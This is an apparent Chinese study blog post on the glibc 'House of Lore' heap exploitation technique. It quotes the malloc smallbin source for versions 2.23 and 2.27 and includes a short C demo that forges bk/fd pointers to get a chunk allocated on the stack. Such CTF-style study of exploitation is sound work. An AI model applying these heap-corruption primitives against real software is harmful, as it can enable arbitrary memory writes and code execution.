回炉重修之house of lore
使用版本以及影响
2.23-2.31(不包含2.31)
libc-2.23
libc-2.27
if (__glibc_unlikely (bck->fd != victim))
检查 fakechunk->FD 是不是 victim_chunk
libc-2.31(House Of Lore 被ban)
原理解析
house of lore是通过small bin机制,去进行任意地址的chunk 分配
利用条件
- House of Lore 利用的前提是需要控制 Small Bin Chunk 的bk指针,并且控制指定位置 chunk 的fd指针
源码解析
在_int_malloc libc2.23版本的3405的位置
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}
第一块碎片
if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
如果victim不是small bin的最后一个也就是未满的情况
bck=victim->bk 此时bk被我们伪造为target addr 所以bck=target addr
第二块碎片
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
bin->bk=bck,这就相当于把target addr 链入small bin的开头,接下来我们就可以通过malloc把这取出来
第三块碎片
要执行这一步要经过这个check
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
也就是bck->fd=victim 也就是说 target_addr+0x10 的位置要等于victim的地址
接下来通过demo演示(实验环境2.23)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
int main(int argc, char * argv[]){
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[4] = {0};
intptr_t *victim = malloc(0x100);
malloc(0x10);
free(victim);
malloc(0x400);
victim[1] = &stack_buffer_1; // victim_chunk_addr->bk = stack_buffer_1_addr
stack_buffer_1[2] = victim-2; //stack_buffer_1->fd = victim_chunk_addr
//===============================line=================================
intptr_t *p1 = malloc(0x100);
intptr_t *p2 = malloc(0x100);//chunk on the stack
malloc(0x100); //failed : bck->fd != victim
}
堆块布局:
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[4] = {0};
intptr_t *victim = malloc(0x100);
malloc(0x10);
free(victim);
malloc(0x400);
此时的malloc(0x400)是为了将unsorted bin 变为small bin
布置攻击条件
victim[1] = &stack_buffer_1; // victim_chunk_addr->bk = stack_buffer_1_addr
stack_buffer_1[2] = victim-2; //stack_buffer_1->fd = victim_chunk_addr
攻击效果
接下来在申请一次就可以再目标地址布置堆
2.27源码更改
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
要么使其满足 tc_victim = last (bin)) == bin
、要么使其满足:tcache->counts[tc_idx] ≥ mp_.tcache_count
。否则可能会因为非法内存访问使得程序 down
掉。
高版本的情况2.31之后利用条件比较苛刻,有这利用条件 早就别的路去打io了
参考文献
https://roderickchan.github.io/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation/
0 条评论
可输入 255 字